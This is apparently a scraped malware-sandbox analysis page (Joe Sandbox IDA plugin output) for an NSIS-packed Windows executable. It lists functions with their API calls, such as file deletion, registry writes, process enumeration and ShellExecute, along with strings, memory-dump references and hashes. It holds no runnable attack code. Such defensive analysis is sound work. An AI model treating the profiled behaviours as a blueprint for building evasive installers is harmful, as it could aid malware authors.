                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
                                                                                                                                                                • String ID: Delete: DeleteFile failed("%s")$Delete: DeleteFile on Reboot("%s")$Delete: DeleteFile("%s")$RMDir: RemoveDirectory failed("%s")$RMDir: RemoveDirectory invalid input("%s")$RMDir: RemoveDirectory on Reboot("%s")$RMDir: RemoveDirectory("%s")$\*.*
                                                                                                                                                                • API String ID: 2035342205-3294556389
                                                                                                                                                                • Opcode ID: 15be8897d6e9b53d01f132332000c29bcd26e475d5c6b9324dd4f7514e94a53d
                                                                                                                                                                • Instruction ID: 0ca3ec5a28b3c1cae8259a28e21d86b18febecd5c0179aed135e39ed79665852
                                                                                                                                                                • Opcode Fuzzy Hash: 15be8897d6e9b53d01f132332000c29bcd26e475d5c6b9324dd4f7514e94a53d
                                                                                                                                                                • Instruction Fuzzy Hash: 2D51E3315043056ADB20AB61CD46EAF37B89F81725F22803FF943751D2DB7C49A2DAAD
                                                                                                                                                                Function 00406805 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 212stringCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6
                                                                                                                                                                • GetSystemDirectoryW.KERNEL32(00462540,00002004), ref: 00406958
                                                                                                                                                                  • Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016
                                                                                                                                                                • GetWindowsDirectoryW.KERNEL32(00462540,00002004), ref: 0040696B
                                                                                                                                                                • lstrcatW.KERNEL32(00462540,\Microsoft\Internet Explorer\Quick Launch), ref: 004069E5
                                                                                                                                                                • lstrlenW.KERNEL32(00462540,0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 00406A47
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Directory$SystemVersionWindowslstrcatlstrcpynlstrlen
                                                                                                                                                                • String ID: @%F$@%F$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
                                                                                                                                                                • API String ID: 3581403547-784952888
                                                                                                                                                                • Opcode ID: 5b9b76f287d52b653a8a41dc6b1224aada0ccbd74d66441f1f03372adecf381e
                                                                                                                                                                • Instruction ID: 7881bd453c5698e0e02013fa1c3524f2cf467b60749c67c5a59258f73e57ab2a
                                                                                                                                                                • Opcode Fuzzy Hash: 5b9b76f287d52b653a8a41dc6b1224aada0ccbd74d66441f1f03372adecf381e
                                                                                                                                                                • Instruction Fuzzy Hash: F171F4B1A00215ABDB20AF28CD44A7E3771EF55314F12C03FE906B62E0E77C89A19B5D
                                                                                                                                                                Function 004024FB Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 133comCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • CoCreateInstance.OLE32(00409B24,?,00000001,00409B04,?), ref: 0040257E
                                                                                                                                                                Strings
                                                                                                                                                                • CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d, xrefs: 00402560
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: CreateInstance
                                                                                                                                                                • String ID: CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d
                                                                                                                                                                • API String ID: 542301482-1377821865
                                                                                                                                                                • Opcode ID: 0ddbb4256677b6c48083548557f3f7fdb52e2b2de327cf14ae3b1cdcca70b28b
                                                                                                                                                                • Instruction ID: c24c797a6f187c751e7d972b1a807078ee58ffeb38f484aa28d094541f0f6205
                                                                                                                                                                • Opcode Fuzzy Hash: 0ddbb4256677b6c48083548557f3f7fdb52e2b2de327cf14ae3b1cdcca70b28b
                                                                                                                                                                • Instruction Fuzzy Hash: 02415E74A00205BFCF04EFA0CC99EAE7B79FF48314B20456AF915EB2E1C679A941CB54
                                                                                                                                                                Function 00402E18 Relevance: 1.5, APIs: 1, Instructions: 27fileCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 00402E27
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: FileFindFirst
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 1974802433-0
                                                                                                                                                                • Opcode ID: 005be0a9498432eb51f9697d6085e84733c01c19a866f8c94ce5140aa3afdc34
                                                                                                                                                                • Instruction ID: b91193b5dd17d351e639dca097a4c2443a83fae7855d8014906372cda19badf2
                                                                                                                                                                • Opcode Fuzzy Hash: 005be0a9498432eb51f9697d6085e84733c01c19a866f8c94ce5140aa3afdc34
                                                                                                                                                                • Instruction Fuzzy Hash: 4EE06D32600204AFD700EB749D45ABE736CDF01329F20457BF146F20D1E6B89A41976A
                                                                                                                                                                Function 004063AC Relevance: 70.3, APIs: 29, Strings: 11, Instructions: 256libraryloadermemoryCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GlobalAlloc.KERNEL32(00000040,00000FA0), ref: 004063BF
                                                                                                                                                                • lstrlenW.KERNEL32(?), ref: 004063CC
                                                                                                                                                                • GetVersionExW.KERNEL32(?), ref: 0040642A
                                                                                                                                                                  • Part of subcall function 0040602B: CharUpperW.USER32(?,00406401,?), ref: 00406031
                                                                                                                                                                • LoadLibraryA.KERNEL32(PSAPI.DLL), ref: 00406469
                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 00406488
                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00406492
                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 0040649D
                                                                                                                                                                • FreeLibrary.KERNEL32(00000000), ref: 004064D4
                                                                                                                                                                • GlobalFree.KERNEL32(?), ref: 004064DD
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: AddressProc$FreeGlobalLibrary$AllocCharLoadUpperVersionlstrlen
                                                                                                                                                                • String ID: CreateToolhelp32Snapshot$EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Kernel32.DLL$Module32FirstW$Module32NextW$PSAPI.DLL$Process32FirstW$Process32NextW$Unknown
                                                                                                                                                                • API String ID: 20674999-2124804629
                                                                                                                                                                • Opcode ID: a5c47c37ebb79c3570a5199304d67498c128a01cd5ae19e8b8640fa4b13707a3
                                                                                                                                                                • Instruction ID: f5db07f83b48746be4b9c4f5c588c21b75103c60b5638216cabcef37c42edb4d
                                                                                                                                                                • Opcode Fuzzy Hash: a5c47c37ebb79c3570a5199304d67498c128a01cd5ae19e8b8640fa4b13707a3
                                                                                                                                                                • Instruction Fuzzy Hash: 38919331900219EBDF109FA4CD88AAFBBB8EF44741F11447BE546F6281DB388A51CF68
                                                                                                                                                                Function 004040B8 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 210windowstringCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • CheckDlgButton.USER32(?,-0000040A,00000001), ref: 0040416D
                                                                                                                                                                • GetDlgItem.USER32(?,000003E8), ref: 00404181
                                                                                                                                                                • SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 0040419E
                                                                                                                                                                • GetSysColor.USER32(?), ref: 004041AF
                                                                                                                                                                • SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004041BD
                                                                                                                                                                • SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004041CB
                                                                                                                                                                • lstrlenW.KERNEL32(?), ref: 004041D6
                                                                                                                                                                • SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004041E3
                                                                                                                                                                • SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004041F2
                                                                                                                                                                  • Part of subcall function 00403FCA: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,?,00000000,00404124,?), ref: 00403FE1
                                                                                                                                                                  • Part of subcall function 00403FCA: GlobalAlloc.KERNEL32(00000040,00000001,?,?,?,00000000,00404124,?), ref: 00403FF0
                                                                                                                                                                  • Part of subcall function 00403FCA: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000001,00000000,00000000,?,?,00000000,00404124,?), ref: 00404004
                                                                                                                                                                • GetDlgItem.USER32(?,0000040A), ref: 0040424A
                                                                                                                                                                • SendMessageW.USER32(00000000), ref: 00404251
                                                                                                                                                                • GetDlgItem.USER32(?,000003E8), ref: 0040427E
                                                                                                                                                                • SendMessageW.USER32(00000000,0000044B,00000000,?), ref: 004042C1
                                                                                                                                                                • LoadCursorW.USER32(00000000,00007F02), ref: 004042CF
                                                                                                                                                                • SetCursor.USER32(00000000), ref: 004042D2
                                                                                                                                                                • ShellExecuteW.SHELL32(0000070B,open,00462540,00000000,00000000,00000001), ref: 004042E7
                                                                                                                                                                • LoadCursorW.USER32(00000000,00007F00), ref: 004042F3
                                                                                                                                                                • SetCursor.USER32(00000000), ref: 004042F6
                                                                                                                                                                • SendMessageW.USER32(00000111,00000001,00000000), ref: 00404325
                                                                                                                                                                • SendMessageW.USER32(00000010,00000000,00000000), ref: 00404337
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: MessageSend$Cursor$Item$ByteCharLoadMultiWide$AllocButtonCheckColorExecuteGlobalShelllstrlen
                                                                                                                                                                • String ID: @%F$N$open
                                                                                                                                                                • API String ID: 3928313111-3849437375
                                                                                                                                                                • Opcode ID: a841256503f372cb329faf737530af9fe18869c9bb3e71d47027397a25b41a99
                                                                                                                                                                • Instruction ID: 2c1438ad93098d7b112eeb2502b55652a68651cb38e922ac8f4fb42b83a973d4
                                                                                                                                                                • Opcode Fuzzy Hash: a841256503f372cb329faf737530af9fe18869c9bb3e71d47027397a25b41a99
                                                                                                                                                                • Instruction Fuzzy Hash: 0F71A4B1900609FFDB109F60DD45EAA7B79FB44305F00843AFA05B62D1C778A991CF99
                                                                                                                                                                Function 00406A99 Relevance: 33.4, APIs: 15, Strings: 4, Instructions: 163filestringmemoryCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • lstrcpyW.KERNEL32(0045B2C8,NUL,?,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE,?,00000000,000000F1,?), ref: 00406AA9
                                                                                                                                                                • CloseHandle.KERNEL32(00000000,000000F1,00000000,00000001,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE,?,00000000,000000F1,?), ref: 00406AC8
                                                                                                                                                                • GetShortPathNameW.KERNEL32(000000F1,0045B2C8,00000400), ref: 00406AD1
                                                                                                                                                                  • Part of subcall function 00405DB6: lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DC6
                                                                                                                                                                  • Part of subcall function 00405DB6: lstrlenA.KERNEL32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DF8
                                                                                                                                                                • GetShortPathNameW.KERNEL32(000000F1,00460920,00000400), ref: 00406AF2
                                                                                                                                                                • WideCharToMultiByte.KERNEL32(00000000,00000000,0045B2C8,000000FF,0045BAC8,00000400,00000000,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE), ref: 00406B1B
                                                                                                                                                                • WideCharToMultiByte.KERNEL32(00000000,00000000,00460920,000000FF,0045C118,00000400,00000000,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE), ref: 00406B33
                                                                                                                                                                • wsprintfA.USER32 ref: 00406B4D
                                                                                                                                                                • GetFileSize.KERNEL32(00000000,00000000,00460920,C0000000,00000004,00460920,?,?,00000000,000000F1,?), ref: 00406B85
                                                                                                                                                                • GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00406B94
                                                                                                                                                                • ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00406BB0
                                                                                                                                                                • lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename]), ref: 00406BE0
                                                                                                                                                                • SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,0045C518,00000000,-0000000A,0040987C,00000000,[Rename]), ref: 00406C37
                                                                                                                                                                  • Part of subcall function 00405E50: GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
                                                                                                                                                                  • Part of subcall function 00405E50: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76
                                                                                                                                                                • WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 00406C4B
                                                                                                                                                                • GlobalFree.KERNEL32(00000000), ref: 00406C52
                                                                                                                                                                • CloseHandle.KERNEL32(?), ref: 00406C5C
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: File$ByteCharCloseGlobalHandleMultiNamePathShortWidelstrcpylstrlen$AllocAttributesCreateFreePointerReadSizeWritewsprintf
                                                                                                                                                                • String ID: F$%s=%s$NUL$[Rename]
                                                                                                                                                                • API String ID: 565278875-1653569448
                                                                                                                                                                • Opcode ID: a83451b5c4aab99109613fb463f01f18261c5de4d9c28115f8397278e7cafe6e
                                                                                                                                                                • Instruction ID: f97e154d5ee7f709bd30e138c0dd6e282719408add8f0d739c14b832633f1bd9
                                                                                                                                                                • Opcode Fuzzy Hash: a83451b5c4aab99109613fb463f01f18261c5de4d9c28115f8397278e7cafe6e
                                                                                                                                                                • Instruction Fuzzy Hash: AE412632104208BFE6206B619E8CD6B3B6CDF86754B16043EF586F22D1DA3CDC158ABC
                                                                                                                                                                Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 127COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
                                                                                                                                                                • BeginPaint.USER32(?,?), ref: 00401047
                                                                                                                                                                • GetClientRect.USER32(?,?), ref: 0040105B
                                                                                                                                                                • CreateBrushIndirect.GDI32(00000000), ref: 004010D8
                                                                                                                                                                • FillRect.USER32(00000000,?,00000000), ref: 004010ED
                                                                                                                                                                • DeleteObject.GDI32(?), ref: 004010F6
                                                                                                                                                                • CreateFontIndirectW.GDI32(?), ref: 0040110E
                                                                                                                                                                • SetBkMode.GDI32(00000000,00000001), ref: 0040112F
                                                                                                                                                                • SetTextColor.GDI32(00000000,000000FF), ref: 00401139
                                                                                                                                                                • SelectObject.GDI32(00000000,?), ref: 00401149
                                                                                                                                                                • DrawTextW.USER32(00000000,0046ADC0,000000FF,00000010,00000820), ref: 0040115F
                                                                                                                                                                • SelectObject.GDI32(00000000,00000000), ref: 00401169
                                                                                                                                                                • DeleteObject.GDI32(?), ref: 0040116E
                                                                                                                                                                • EndPaint.USER32(?,?), ref: 00401177
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
                                                                                                                                                                • String ID: F
                                                                                                                                                                • API String ID: 941294808-1304234792
                                                                                                                                                                • Opcode ID: f4369597f17a3e87964d78a18e042c43d151941ad2c2ecd61bd33e0f0092c561
                                                                                                                                                                • Instruction ID: e7530e13063599d95e155ed3b2c7b7521dfa2668d538c4695d9c695e9582dc0d
                                                                                                                                                                • Opcode Fuzzy Hash: f4369597f17a3e87964d78a18e042c43d151941ad2c2ecd61bd33e0f0092c561
                                                                                                                                                                • Instruction Fuzzy Hash: 01516C71400209AFCB058F95DE459AF7FB9FF45311F00802EF992AA1A0CB78DA55DFA4
                                                                                                                                                                Function 00402880 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 131registrystringCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • RegCreateKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004028DA
                                                                                                                                                                • lstrlenW.KERNEL32(004130D8,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004028FD
                                                                                                                                                                • RegSetValueExW.ADVAPI32(?,?,?,?,004130D8,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004029BC
                                                                                                                                                                • RegCloseKey.ADVAPI32(?), ref: 004029E4
                                                                                                                                                                  • Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
                                                                                                                                                                  • Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7
                                                                                                                                                                Strings
                                                                                                                                                                • WriteRegBin: "%s\%s" "%s"="%s", xrefs: 004029A1
                                                                                                                                                                • WriteReg: error writing into "%s\%s" "%s", xrefs: 004029D4
                                                                                                                                                                • WriteRegDWORD: "%s\%s" "%s"="0x%08x", xrefs: 00402959
                                                                                                                                                                • WriteRegExpandStr: "%s\%s" "%s"="%s", xrefs: 0040292A
                                                                                                                                                                • WriteRegStr: "%s\%s" "%s"="%s", xrefs: 00402918
                                                                                                                                                                • WriteReg: error creating key "%s\%s", xrefs: 004029F5
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: lstrlen$CloseCreateValuewvsprintf
                                                                                                                                                                • String ID: WriteReg: error creating key "%s\%s"$WriteReg: error writing into "%s\%s" "%s"$WriteRegBin: "%s\%s" "%s"="%s"$WriteRegDWORD: "%s\%s" "%s"="0x%08x"$WriteRegExpandStr: "%s\%s" "%s"="%s"$WriteRegStr: "%s\%s" "%s"="%s"
                                                                                                                                                                • API String ID: 1641139501-220328614
                                                                                                                                                                • Opcode ID: 51d35262b0c2a2c9e21de093e360e43a16013741a0d7e0050a8341ec78c57d1d
                                                                                                                                                                • Instruction ID: 4ea7a0066738be70411365ddd6f3e5606018e51d84950e7919a1ab5782edcef9
                                                                                                                                                                • Opcode Fuzzy Hash: 51d35262b0c2a2c9e21de093e360e43a16013741a0d7e0050a8341ec78c57d1d
                                                                                                                                                                • Instruction Fuzzy Hash: 3D41BFB2D00209BFDF11AF90CE46DAEBBB9EB04704F20407BF505B61A1D6B94B509B59
                                                                                                                                                                Function 00402E55 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 103memoryfileCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,000000F0), ref: 00402EA9
                                                                                                                                                                • GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,?,000000F0), ref: 00402EC5
                                                                                                                                                                • GlobalFree.KERNEL32(FFFFFD66), ref: 00402EFE
                                                                                                                                                                • WriteFile.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,000000F0), ref: 00402F10
                                                                                                                                                                • GlobalFree.KERNEL32(00000000), ref: 00402F17
                                                                                                                                                                • CloseHandle.KERNEL32(?,?,?,?,?,000000F0), ref: 00402F2F
                                                                                                                                                                • DeleteFileW.KERNEL32(?), ref: 00402F56
                                                                                                                                                                Strings
                                                                                                                                                                • created uninstaller: %d, "%s", xrefs: 00402F3B
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
